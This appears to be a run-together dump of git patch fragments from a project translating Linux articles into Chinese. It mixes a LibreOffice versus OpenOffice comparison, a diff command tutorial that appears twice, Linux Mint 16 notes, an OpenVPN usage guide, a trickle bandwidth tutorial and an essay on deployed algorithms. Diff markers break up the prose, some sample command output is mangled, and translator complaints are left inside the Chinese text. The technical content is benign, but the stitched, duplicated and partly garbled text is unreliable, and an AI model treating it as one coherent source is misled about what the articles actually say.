long-delayed problem of the interfaces -- something OpenOffice has not had much time to consider. - -### Making a Choice ### - -An average user, whose documents are rarely longer than two or three pages, would often have to check the title bar to be sure whether they were using LibreOffice or OpenOffice. However, depending on their needs, advanced users will probably find LibreOffice currently has a small, but definite advantage. - -This advantage is hardly to be unexpected. For one thing, LibreOffice had many months to advance while OpenOffice was concerned with setting up governance and doing a code audit. These tasks might be useful and necessary, but they do not make for improvements in the code that ordinary users are likely to notice. - -For another, the LibreOffice fork was begun largely by members of [Go-oo][3], an unofficial fork of OpenOffice.org that wanted to accelerate change. While Apache OpenOffice was forming, LibreOffice attracted talent around the world who wanted to code and were excited by the idea that everything was suddenly up for reconsideration. - -Nobody has any done a census, but my impression is that when the OpenOffice.org community divided, the more adventurous contributors chose to focus on LibreOffice, although a few, such as the semi-independent documentation team, deliberately work for both projects. - -However, the most important advantage for LibreOffice is what might be called the license-drain. That is, while the Apache License is compatible with LibreOffice's Lesser GNU General Public License, the Less GNU General Public License is incompatible with the Apache License. In other words, while LibreOffice can borrow code freely from OpenOffice, OpenOffice cannot borrow at all from LibreOffice. Strictly speaking, it must do clean-room implementations of features it wants to borrow from LibreOffice. - -This situation may change, especially since Apache OpenOffice enjoys enormous name recognition compared to LibreOffice. Yet LibreOffice has quickly earned widespread support and has an active community that has done more in three years than OpenOffice.org managed in twelve. - -For now, whether you use Apache OpenOffice or LibreOffice is likely to make very little difference unless you need a particular feature. However, I suspect that, unless something unexpected happens, LibreOffice's slight advantage is only going to widen.

这两个开源办公套件产品很相似，然而某一个貌似已经开始具有轻微的领先优势…… + +[Apache OpenOffice][1]和[LibreOffice][2]都是OpenOffice.org的现代衍生产品。最近几年，几乎所有的Linux发行版都将LibreOffice作为它们的默认办公套件。然而，过去18个月来，OpenOffice作为Apache项目又重新回到了人们的视线，对于这两款全功能办公套件，现在，自由软件用户可以进行二选一咯~ + +然而即使是用户，在两种几乎一样的选择中做决定也会有困难。三年前，这哥儿俩分了家，三年时间，这对于软件开发来说是很长的一段时间，即使是这样，OpenOffice和LibreOffice之间的不同却刚刚开始显现。除去那些明显已经去掉的过时特性，单说功能集合与基本逻辑，自从OpenOffice.org时代以来，这两者都几乎没有什么大的改变。 + +纵观整个套件，只有个别应用里能发现一些新功能，主要集中在Writer的文字处理方面。其实，它们两者之间的大部分区别主要存在于更高的层面，例如对格式和字体的支持、对插件扩展的政策等，更多的不同，则体现在是否紧跟时代，以及对标准化接口的努力程度上。 + +###具体各程序间的区别### + +LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw，看起来完全没有区别；再说Impress，主要的区别就是LibreOffice最新版支持使用Android设备控制幻灯片放映；除了幻灯片背景以外，两者其他方面没什么不同，都能很好的胜任日常使用，除非有特殊偏好，用户选择哪一款都可以；同样，在Calc电子制表软件中，两者最大的区别就是你可以在LibreOffice里创建数据表格。 + +即使在用户最常用的Writer程序中，两者的区别也很小。LibreOffice这边，编辑窗口的底部状态栏现在新包含了一个字词计数器，审阅标签也不再局限于某个单个点，现在可以附加在配图上，另外，LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug，除此以外，LibreOffice还添加了一个简易搜索栏，与web浏览器上的那种类似，同时，去掉了图形水平线的选项，这个功能过去十几年来几乎从没人用过。 + +###格式与字体### + +一些更明显的区别体现在格式分类与字体支持上。例如，OpenOffice始终支持一些较老的保存格式，像AportisDoc（Palm版）和Pocket Word。另外，它也可以打开.docx格式的文件，但是无法像LibreOffice一样将文档保存为docx格式。 + +LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持，因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的，通过“文件->属性->自体”，你能够将字体嵌入到文档中去，无需任何繁琐操作，就能确保字体的兼容性。 + +这样的特性使得LibreOffice在面对微软Office用户转换格式的时候，得到了决定性的1分。因为通常，OpenOffice和LibreOffice都无法很好处理微软格式的文档，特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此，如果你要共享复杂一些的文档，例如宣传手册，最好使用PDF格式，而不是Open文档格式（ODF）。 + +然而，如果你确实需要转换一些本地或微软的文档，LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档，而且它对字体替换处理的很好，而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少，例如在特性实现上有所不同，但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。 + +###对待插件扩展的政策### + +OpenOffice和LibreOffice两者都能很好的支持插件扩展，想要加强或替换某个特性的时候，用户只需要几分钟就能下载并安装完毕。大多数情况下，同一个扩展，在OpenOffice和LibreOffice上面都能工作的很好。 + +区别就在于，使用LibreOffice时，你无需亲自安装那些最流行的插件扩展。相反，LibreOffice已经帮你安装整合好了。例如，基本语法校验工具Lightproof、数据库汇总和打印工具ReportBuilder、演示文稿压缩工具PresentationMinimizer、博客用户喜欢的WikiPublisher、还有幻灯片配置工具PresentationConsole等等。 + +以上这些扩展在OpenOffice下同样可用。与前者不同的是，使用OpenOffice时，你首先需要知道有这些扩展，然后专门去找到它们，这样一来，很大程度上限制了新用户对很多功能的体验。因此，当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时，这样的疏漏就成了一个非常严重的不足，特别是当它很容易弥补的时候，（更何况LibreOffice同时也提供了自家最新的模板和剪贴画）。 + +###接口的更新换代### + +在OpenOffice.org属于Sun和Oracle的12年日子里，它的代码和接口就如同许多优秀特性一样，几乎被完全忽略。如今的结果就是，OpenOffice和LibreOffice作为套件产品，都各自拥有一整套优秀的功能，但是它们的接口却仍停留在上世纪90年代的水平。只有表面上的一些老旧接口被移除，其实大部分仍然亟待更新。 + +在最新的发布中，OpenOffice试图彻底更新自己的接口，但是却由于“导航栏”而被迫受阻。导航栏这一特性，如今已经成为“用户体验”的标签，在LibreOffice中，你可以通过“工具->选项->LibreOffice->高级”找到关于它的设置。 + +导航栏是一组功能集合，主要用于用户手动格式化。【【【这一特性鼓励用户使用样式，就代码编写人员的逻辑来说，这一点很容易被忽略。（这一句各种纠结不明白啥意思啊啊啊啊啊=。=）】】】然而，它最大的好处是，大大简化了字符和图形的格式化标签页，例如原本所有应用程序中都有的加粗选项，以及电子表格单元格中的“格式”标签页。幸运的是，导航栏还重新定义了菜单和样式对话框窗口的概念。 + +LibreOffice还拥有更多的“冒险创新精神”，例如，与导航栏类似，Impress中的任务面板，摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。 + +在Writer编辑窗口中，LibreOffice的大部分接口已经完成改进，窗口底部的状态栏中，添加了一个字词计数器，原本负责管理和编辑模板的狭窄子菜单，如今也已被高端大气上档次的流线形按钮所取代。 + +更明显的，LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的，页眉和页脚也默认改为不可见，要想找到它们，四个小直角标明了它们的边界位置，点击就可以出现。 + +不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口。除了【【【使用标签页鼓励手动格式化这一事实（和上面那纠结的一句一样，这是什么意思啊啊啊啊啊=。=）】】】，比较恼人的是，当在新一页的第一行输入的时候，已经输入的一部分总是会自动隐藏。 + +尽管LibreOffice还重组了许多窗口选项，但是这些努力远没有结束。有时，开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体，看起来有些不伦不类，但是，至少LibreOffice正在尝试着解决长期搁置的接口问题，而这些，OpenOffice甚至都还没来得急意识到。 + +###做出选择### + +如果文档不超过2到3页，一般用户可能需要时常检查标题栏看自己用的是LibreOffice还是OpenOffice。然而，对于进阶用户而言，LibreOffice目前可能更有优势。优势并不算大，但是很明显。 + +这一优势的确很难被忽略。原因首先，在LibreOffice已经确立了好几个月时间优势的情况下，OpenOffice却仍在专注于管理权和代码审计，这些工作也许有帮助也有必要，但是普通用户更愿意看到他们对代码做出更多的改进工作。 + +其次，LibreOffice的开发人员大部分是[Go-oo][3]的前成员，这是OpenOffice.org的一个非官方项目组，以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候，LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。 + +没有人做过准确的调查，但是我印象中，当OpenOffice.org社区分家的时候，大部分富于冒险创新精神的贡献者都选择了LibreOffice，同时，有一些半独立的文档小组，在谨慎地同时为两个项目工作。 + +其实，LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢？就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证，但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说，LibreOffice可以随意自由地从OpenOffice“借”代码，但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲，如果想从LibreOffice“借”来某个功能，OpenOffice必须完全依靠“净室（clean-room）”来实现。 + +这一情况有可能会改变，尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候，然而LibreOffice的支持者们正在迅速扩张，它的社区非常活跃，短短3年间所做的要比OpenOffice.org十二年来做的还要多。 + +现在，除非你特别需要某个功能，使用OpenOffice还是LibreOffice几乎没有区别。但是，我断定，除非发生某些不可预料的事情，否则LibreOffice的优势将会越来越大。无论你选择支持哪一方，几年内，也许你会对它重新作出评价。 +

Very few people actually use a command line utility for this purpose. Though I won’t say that using command line for file/directory comparison is as easy as a cake walk but if you are a Linux user then I think you should know how to compare files through command line as it is definitely a quick method once you are used to it. + +In this article, we will learn how to use the diff command through some practical examples. + +### Linux diff Command ### + +Lets understand Linux diff command through some practical examples. + +Suppose we have these two files (file1 and file2) : + + $ cat file1 + Hi, + Hello, + How are you? + I am fine, + Thank you. + + + $ cat file2 + Hello, + Hi, + How are you? + I am fine. + +You can see that both the files have some minor differences. Now, lets see how the diff command can be used to bring out these differences. + +Here is how you run diff command : + + $ diff file1 file2 + 1d0 + < Hi, 2a2 > Hi, + 4,5c4 + < I am fine, + < Thank you. + + — + + > I am fine. + +So you can see that the diff command was provided with both the file names as command line arguments and it produced the differences in the output. The output by no means is easily comprehend-able. Reason being, it was designed to be used by the computers and not the humans. Nonetheless, lets decode the output piece by piece: + +**NOTE** – The files file1 and file2 will be addressed as old file and new file in the following text. + + 1d0 + < Hi, + +Here, the line 1d0 means that the 1st line of the old file should be deleted (d) in order to sync up both the files beginning at line 0. The line to be deleted in old file is mentioned just below with < mark. + + 2a2 + > Hi, + +Here, the line 2a2 means that the second line from the new file should be added after second line of old file. The line to be added is displayed in the next line of the output with > mark. + + 4,5c4 + < I am fine, + < Thank you. + + — + + > I am fine. + +Here, the line 4,5c4 means that the line numbers ranging from 4 to 5 in the old file are now changed and should be replaced with the 4th line of the new file. The lines to be added and deleted are marked with > and < respectively. + +So, to conclude, + +- The first argument to diff command is regarded as old file while the second argument becomes new file. +- Expressions like 1d0 2a2, 4,5c4 can be decoded with the syntax **[line number or range from old file][action][line number or range from new file]**. Where, ‘action’ can be append, delete or changed-so-replace. +- The mark < represents the line to be deleted while > represents the line to be added. + +In addition to files, the diff command can also be used to compare two directories. Lets learn this through an example. + +Here are the contents of a directory named ‘new_dir’ : + + $ ls new_dir/ + file file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt + +and here are the contents of a directory named ‘old_dir’ : + + $ ls orig_dir/ + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt test + file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + +Now, here is the output when diff command was executed : + + $ diff new_dir/ orig_dir/ + Only in new_dir/: file + Only in orig_dir/: test + +So you can see that when diff command is executed to compare these two directories, it easily displays the missing files in the directories. + +Here are some of the commonly used command line options : + +### 1. Use -i to ignore case differences ### + +If two files contain same text but in different cases, the diff command still reports it as a difference by default. + +For example : + + $ cat file1 + HI + + $ cat file2 + hi + + $ diff file1 file2 + 1c1 + < HI — > hi + +So you can see that the diff command reported the case difference in the output. + +To get away with this default behaviour, use -i option. + +Here is an example : + + $ diff -i file1 file2 + $ + +So you can see that no output was produced, which is the default behaviour when both the files are same. + +### 2. Report That The Files Are Same Using -s Option ### + +Towards the end of the example 1, we saw that diff doesn’t report anything if files are same. Though this default behaviour is fine but it could still confuse many, especially the newbies. So, if you want the diff command to report explicitly that the files are same then use -s command line option. + +Here is an example : + + $ diff -is file1 file2 + Files file1 and file2 are identical + +So you can see that I added the -s option in the command that we used in last example and this time the diff command explicitly reported that both the files are identical. + +### 3. Use -b To Ignore Spaces ### + +Another common use case is the varying amount of spaces for which the diff command reports the files as different. + +Here is an example : + + $ cat file1 + Hi, how are you? + + $ cat file2 + Hi, how are you? + +Observe that the only difference between the tow files is the extra space between the words ‘are’ and ‘you’ in file2. Now, when diff command is used to compare these two files, here is the output : + + $ diff file1 file2 + 1c1 + < Hi, how are you? + + — + + > Hi, how are you? + +So you can see that the diff command reported the difference. But if you want diff to ignore these spaces, use -b option : + + $ diff -b file1 file2 + $ + +So you can see that due to -b option, the diff command reported both the files as same. + +The diff command provides many more command line options.

Very few people actually use a command line utility for this purpose. Though I won’t say that using command line for file/directory comparison is as easy as a cake walk but if you are a Linux user then I think you should know how to compare files through command line as it is definitely a quick method once you are used to it. - -In this article, we will learn how to use the diff command through some practical examples. - -### Linux diff Command ### - -Lets understand Linux diff command through some practical examples. - -Suppose we have these two files (file1 and file2) : - - $ cat file1 - Hi, - Hello, - How are you? - I am fine, - Thank you. - - - $ cat file2 - Hello, - Hi, - How are you? - I am fine. - -You can see that both the files have some minor differences. Now, lets see how the diff command can be used to bring out these differences. - -Here is how you run diff command : - - $ diff file1 file2 - 1d0 - < Hi, 2a2 > Hi, - 4,5c4 - < I am fine, - < Thank you. - - — - - > I am fine. - -So you can see that the diff command was provided with both the file names as command line arguments and it produced the differences in the output. The output by no means is easily comprehend-able. Reason being, it was designed to be used by the computers and not the humans. Nonetheless, lets decode the output piece by piece: - -**NOTE** – The files file1 and file2 will be addressed as old file and new file in the following text. - - 1d0 - < Hi, - -Here, the line 1d0 means that the 1st line of the old file should be deleted (d) in order to sync up both the files beginning at line 0. The line to be deleted in old file is mentioned just below with < mark. - - 2a2 - > Hi, - -Here, the line 2a2 means that the second line from the new file should be added after second line of old file. The line to be added is displayed in the next line of the output with > mark. - - 4,5c4 - < I am fine, - < Thank you. - - — - - > I am fine. - -Here, the line 4,5c4 means that the line numbers ranging from 4 to 5 in the old file are now changed and should be replaced with the 4th line of the new file. The lines to be added and deleted are marked with > and < respectively. - -So, to conclude, - -- The first argument to diff command is regarded as old file while the second argument becomes new file. -- Expressions like 1d0 2a2, 4,5c4 can be decoded with the syntax **[line number or range from old file][action][line number or range from new file]**. Where, ‘action’ can be append, delete or changed-so-replace. -- The mark < represents the line to be deleted while > represents the line to be added. - -In addition to files, the diff command can also be used to compare two directories. Lets learn this through an example. - -Here are the contents of a directory named ‘new_dir’ : - - $ ls new_dir/ - file file2 frnd frnd1.cpp log1.txt log3.txt log5.txt - file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt - -and here are the contents of a directory named ‘old_dir’ : - - $ ls orig_dir/ - file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt test - file2 frnd frnd1.cpp log1.txt log3.txt log5.txt - -Now, here is the output when diff command was executed : - - $ diff new_dir/ orig_dir/ - Only in new_dir/: file - Only in orig_dir/: test - -So you can see that when diff command is executed to compare these two directories, it easily displays the missing files in the directories. - -Here are some of the commonly used command line options : - -### 1. Use -i to ignore case differences ### - -If two files contain same text but in different cases, the diff command still reports it as a difference by default. - -For example : - - $ cat file1 - HI - - $ cat file2 - hi - - $ diff file1 file2 - 1c1 - < HI — > hi - -So you can see that the diff command reported the case difference in the output. - -To get away with this default behaviour, use -i option. - -Here is an example : - - $ diff -i file1 file2 - $ - -So you can see that no output was produced, which is the default behaviour when both the files are same. - -### 2. Report That The Files Are Same Using -s Option ### - -Towards the end of the example 1, we saw that diff doesn’t report anything if files are same. Though this default behaviour is fine but it could still confuse many, especially the newbies. So, if you want the diff command to report explicitly that the files are same then use -s command line option. - -Here is an example : - - $ diff -is file1 file2 - Files file1 and file2 are identical - -So you can see that I added the -s option in the command that we used in last example and this time the diff command explicitly reported that both the files are identical. - -### 3. Use -b To Ignore Spaces ### - -Another common use case is the varying amount of spaces for which the diff command reports the files as different. - -Here is an example : - - $ cat file1 - Hi, how are you? - - $ cat file2 - Hi, how are you? - -Observe that the only difference between the tow files is the extra space between the words ‘are’ and ‘you’ in file2. Now, when diff command is used to compare these two files, here is the output : - - $ diff file1 file2 - 1c1 - < Hi, how are you? - - — - - > Hi, how are you? - -So you can see that the diff command reported the difference. But if you want diff to ignore these spaces, use -b option : - - $ diff -b file1 file2 - $ - -So you can see that due to -b option, the diff command reported both the files as same. - -The diff command provides many more command line options.

But, what are some new features in this Linux Mint edition? - -According to the official release announcement, the following are new the features in Linux Linux Mint 16 Petra Cinnamon Edition: - -- Cinnamon 2.0 -- Login Screen -- USB Stick support -- Performance improvements -- Software Manager -- System Improvements -- Artwork Improvements -- Main Components - -### Cinnamon 2.0 ### - -Cinnamon 2.0 features many improvements, a lot of bug fixes and new features. Cinnamon is now able to play sounds when you perform common events such as closing windows, switching workspaces and you can also set the volume for these sounds independently of the main sound volume. Cinnamon 2.0 introduces a new applet which makes session and account related tasks very easy. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_account_details.png) - -### Account Details ### - -System administrators can administrate users and groups with the “Users and Groups” configuration tool and you can change your password from the new “Account Details” configuration screen. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_user_applet.png) - -### Software Manager ### - -Fast!

However, the distros that use systemd are quite variable, so if yours is different please let us know in the comments. +上面列出的是启动 OpenVPN 后台进程最常见的方式，这个命令启动了一整个进程，而不是对 /etc/openvpn/下面的所有 .conf 配置文件都维护一个进程。systemd 支持chkconfig 以及 service 命令，所以上面两条命令能够正常工作。然而使用 systemd 的发行版非常多，如果你的工作环境和我们的不一样，请通过发表评论的方式通知我们。 -### Strengthening Your Connection ### +### 强化你的连接 ### -OpenVPN is robust and is good at maintaining a persistent connection, even with service interruptions. You can make your connection even stronger by adding these lines to your .conf files on clients and server: +OpenVPN 的健壮性足够维持一条持久的连接，即使服务宕掉。而你可以令这个连接变得更加稳定，只需要在服务器端和客户端的 .conf 文件内添加下面两条属性： persist-tun persist-key -These are helpful for laptop users who disrupt their connection a lot with power-save and being on the move. +这两条属性对于那些笔记本电脑用户来说非常有用，他们的电脑会因为电源保护或需要移来移去而经常断开 OpenVPN 的连接。 -### Now What? ### +### 现在，该做些什么？ ### -Now that you have this all set up and working, what do you do with it? If you're used to using OpenSSH for remote operations you might be stuck in the SSH mindset of being able to log into specific machines and run applications. It doesn't work that way. Rather, think of OpenVPN as a virtual Ethernet cable to your server or LAN, all wrapped in a nice stout layer of encryption. You can run unencrypted and encrypted services over the same tunnel, and you only have to open a single hole in your firewall. +你已经完成了所有设置，并且你的服务工作正常，你接下来能用这个干点什么？如果你以前一直用 OpenSSH 来远程你的服务器，你会有这样的思维定势：你可以利用 OpenVPN 登录到远程机器，然后跑上面的应用。你要是那样做，就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内，这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的不加密的服务，并且只需要在防火墙上开一个端口。 -So you can run SSH in the way you're used to over your OpenVPN tunnel, and do remote administration and run applications. You can access network resources such as fileshares and Web applications. You can force all networking on the client to go through your VPN tunnel, but for this series I've assumed that you want to be able to use both your native and VPN networks. +所以你可以利用 OpenVPN 隧道来建立 SSH 连接，然后远程到服务器，然后在服务器上跑应用。你可以访问到网络资源，比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络，但我认为你会想要同时能够使用本地网络和 VPN 网络的。 -So there you are on your trusty laptop and you can surf the Web, run SSH, do whatever you want on whatever network you're connected to. Then when you want to run something over your OpenVPN tunnel open it up and specify the IP address, like this: +所以，在你的笔记本上你可以上网冲浪，使用 SSH，做你想做的任何事，上你想上的任何网络。当你想利用 OpenVPN 隧道做一些事情时，你只需要打开它，然后输入 IP 地址： $ ssh carla@10.0.0.1 -Web applications are easy: point your Web browser to the virtual IP address of your OpenVPN server and log in as usual. For example, I run various Web services for testing on my home server. So I access Drupal at [http://10.0.0.1/drupal][2] and OwnCloud at [http://10.0.0.1/owncloud][3]. I use the nice gFTP graphical FTP client, so all I need to connect is the virtual IP address on the Host line, username, and password. Or use the command line: +对于一些 Web 服务，操作也简单：让你的 Web 浏览器访问到 OpenVPN 的 IP 地址然后登录进去。举个例子，我在我家的服务器上跑了多个 Web 服务做测试，我可以通过[http://10.0.0.1/drupal][2]访问 Drupal，可以通过[http://10.0.0.1/owncloud][3]访问 OwnCloud。我电脑上有优秀的图形界面 FTP 客户端 gFTP，所以只需要填入 IP 地址、用户名、密码就能访问到 FTP 服务器，或者使用下面的命令： $ ftp 10.0.0.1 21 -You can administer your MySQL database from afar, using your own username and password: +你可以远程管理你的 MySQL 数据库，输入帐号密码： $ mysql -h 10.0.0.1 -u admin -p -So the main thing you need to know is how to add the host specification to whatever command you want to run. +所以最重要的是你要知道怎么去配置一个你想要玩的功能。 -Obviously, this would all be easier with name services instead of having to use IP addresses, so one of these days we'll learn how to implement name services in OpenVPN. Meanwhile, please enjoy your nice secure OpenVPN tunnel. +很显然，当我们使用名称服务（name service）时，会比直接使用 IP 地址更方便。所以某一天我们可以学学如何在 OpenVPN 上布署一个名称服务。现在，先享受一下 OpenVPN 带给你的乐趣吧。 -------------------------------------------------------------------------------- From cccc86d2761e19c45a5d7301191d59d796892280 Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Thu, 21 Nov 2013 20:50:50 +0800 Subject: [PATCH 156/402] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20Luox?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...untu Tips – Create Virtual Network Cards In Ubuntu Linux.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md index 79b5be507a..22289cbe4f 100644 --- a/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md +++ b/sources/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md @@ -1,3 +1,4 @@ + 翻译中 Luox Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux ================================================================================ This tutorial is for users who want to experiment a bit with Ubuntu Linux.

Do you want your **Youtube** music experience to interfere with the ftp download? If not, keep reading this article and learn how to install and use the trickle application in your machine. - -### How to Install Trickle in Linux ### - -The trickle tool has its own dependencies, you must have the “**libevent library**” before you can install and use trickle but since this library is installed by default in most modern Linux machines. - -#### On Debian/Ubuntu/Linux Mint #### - -Run **apt-get install** trickle will do the job in **Debian/Ubuntu/Mint** machines. Make sure the sources list is up to date, then install the application you want. - - $ sudo apt-get update - $ sudo apt-get install trickle - -#### On RHEL/CentOS/Fedora #### - -First you need to update the system and then install trickle with the following command. - - # yum update - # yum install trickle - -### How Trickle Works? ### - -Trickle controls and limits the **upload/download** speed of an application by controlling the amount of data written or read by a socket. It uses an alternative version of the the **BSD** socket API, but the difference is that trickle manages socket calls also. - -Note that trickle uses dynamic linking and loading, so it can only work with applications that use the “Glibc library“. Since trickle is able to set up the delay of data transferred over a socket, it is clear that it can limit the network bandwidth of an application. - -### What Can’t Trickle do? ### - -Trickle can not be use to limit the network bandwidth of applications that work over **UDP** protocol, it can only work on **TCP** connections, but you have to know that it does not work with all **TCP** connections. If you have followed this article carefully until now, you can guess the reason why. Can you recall the fact that tickle can work with applications that use the **Glibc library**? - -I have to mention that trickle will not work with statically linked executables. - -### Determine Trickle to Run on a Specified Application Or Not ### - -Since trickle can not limit the **upload/download** speed of every application, it is reasonable to use a method for finding out the applications that the trickle can work with. - -The “**ldd**” utility will help us to find if a specific program uses the “**libc.so**” library or not. If the program uses this library, then you can use trickle to limit its network bandwidth usage. - -The **ldd** command is used to print the shared libraries required by each program. If you are a curious **Linux Geek**, you can use the man command to find out more information about the **ldd** utility. - - # man ldd - -**Filezilla** is a program which is used to transfer files through the ftp protocol, can trickle be used to limit its download or upload speed? At the time you are thinking about it, I will use the following command to find out if trickle can be used with filezilla program, or not. - - # ldd filezilla | grep libc.so - -In my case, it produces the following output. - - oltjano@oltjano-X55CR:/usr/bin$ ldd filezilla | grep libc.so - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb6bc4000) - -Since filezilla uses the “**libc.so**” library, trickle can be used to shape its network bandwidth.

一直以来，我们在互联网上传输信息时，都谨慎地为这些信息加密，以防内容泄露出去，特别是在政府的干预下，为网络上每个字节都进行加密已经变得空前重要了。在这种情况下，OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN，使你可以在任何场所都能安全地访问家里的服务器。 VPN 小贴士：很多商业的 VPN 根本不值它们的售价，它们的安全性只比通过 SSL 保护的网站高一点点，原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN，因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来，不管它们建立的连接有多么安全，都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。 ### OpenVPN 快速入门 ###

A [list-based implementation][56] in the Linux kernel. + +2.Other possibilities are First In First Out, Least Frequently Used, and Round Robin. + +3.A variant of FIFO was used by the VAX/VMS system. + +4.[The Clock algorithm][57] by [Richard Carr][58] is used for page frame replacement in Linux. + +5.he Intel i860 processor used a random replacement policy. + +6.[Adaptive Replacement Cache][59] is used in some IBM storage controllers, and was used in PostgreSQL though [only briefly due to patent concerns][60]. + +7.The [Buddy memory allocation algorithm][61], which is discussed by Knuth in TAOCP Vol. 1 is used in the Linux kernel, and the jemalloc concurrent allocator used by FreeBSD and in [facebook][62]. + +### Core utils in *nix systems ### + +1.*grep* and awk both implement the Thompson-McNaughton-Yamada construction of NFAs from regular expressions, which apparently [even beats the Perl implementation][63]. + +2.*tsort* implements topological sort. + +3.*fgrep* implements the [Aho-Corasick string matching algorithm][64]. + +4.*GNU grep*, [implements the Boyer-Moore algorithm][65] according to the author Mike Haertel. + +5.crypt(1) on Unix implemented a variant of the encryption algorithm in the Enigma machine. + +6.[*Unix diff*][66] implemented by Doug McIllroy, based on a prototype co-written with James Hunt, performs better than the standard dynamic programming algorithm used to compute Levenshtein distances. The [Linux version][67] computes the shortest edit distance. + +### Cryptographic Algorithms ### + +This could be a very long list. Cryptographic algorithms are implemented in all software that can perform secure communications or transactions. + +1.[Merkle trees][68], specifically the Tiger Tree Hash variant, were used in peer-to-peer applications such as [GTK Gnutella][69] and [LimeWire][70]. + +2.[MD5][71] is used to provide a checksum for software packages and is used for integrity checks on *nix systems ([Linux implementation][72]) and is also supported on Windows and OS X. + +3.[OpenSSL][73] implements many cryptographic algorithms including AES, Blowfish, DES, SHA-1, SHA-2, RSA, DES, etc. + +### Compilers ### + +1.[LALR parsing][74] is implemented by yacc and bison. + +2.Dominator algorithms are used in most optimizing compilers based on SSA form. + +3.lex and flex compile regular expressions into NFAs. + +### Compression and Image Processing ### + +1.[The Lempel-Ziv][75] algorithms for the GIF image format are implemented in image manipulation programs, starting from the *nix utility convert to complex programs. + +2.Run length encoding is used to generate PCX files (used by the original Paintbrush program), compressed BMP files and TIFF files. + +3.Wavelet compression is the basis for JPEG 2000 so all digital cameras that produce JPEG 2000 files will be implementing this algorithm. + +4.Reed-Solomon error correction is implemented in [the Linux kernel][76], CD drives, barcode readers and was combined with convolution for image transmission from Voyager. + +### ###Conflict Driven Clause Learning + +Since the year 2000, the running time of SAT solvers on industrial benchmarks (usually from the hardware industry, though though other sources are used too) has decreased nearly exponentially every year. A very important part of this development is the Conflict Driven Clause Learning algorithm that combines the Boolean Constraint Propagation algorithm in the original paper of Davis Logemann and Loveland with the technique of clause learning that originated in constraint programming and artificial intelligence research. For specific, industrial modelling, SAT is considered an easy problem ([see this discussion][77]). To me, this is one of the greatest success stories in recent times because it combines algorithmic advances spread over several years, clever engineering ideas, experimental evaluation, and a concerted communal effort to solve the problem. The [CACM article by Malik and Zhang][78] is a good read. This algorithm is taught in many universities (I have attended four where it was the case) but typically in a logic or formal methods class. + +Applications of SAT solvers are numerous. IBM, Intel and many other companies have their own SAT solver implementations. The [package manager][78] in OpenSUSE also uses a SAT solver. + +-------------------------------------------------------------------------------- + +via:

-1,3 +1,6 @@ +Translating-------------geekpi + + Core algorithms deployed ================================================================================ Algorithms that are the main driver behind a system are, in my opinion, easier to find in non-algorithms courses for the same reason theorems with immediate applications are easier to find in applied mathematics rather than pure mathematics courses. It is rare for a practical problem to have the exact structure of the abstract problem in a lecture. To be argumentative, I see no reason why fashionable algorithms course material such as Strassen's multiplication, the AKS primality test, or the Moser-Tardos algorithm is relevant for low-level practical problems of implementing a video database, an optimizing compiler, an operating system, a network congestion control system or any other system. The value of these courses is learning that there are intricate ways to exploit the structure of a problem to find efficient solutions. Advanced algorithms is also where one meets simple algorithms whose analysis is non-trivial. For this reason, I would not dismiss simple randomized algorithms or PageRank.

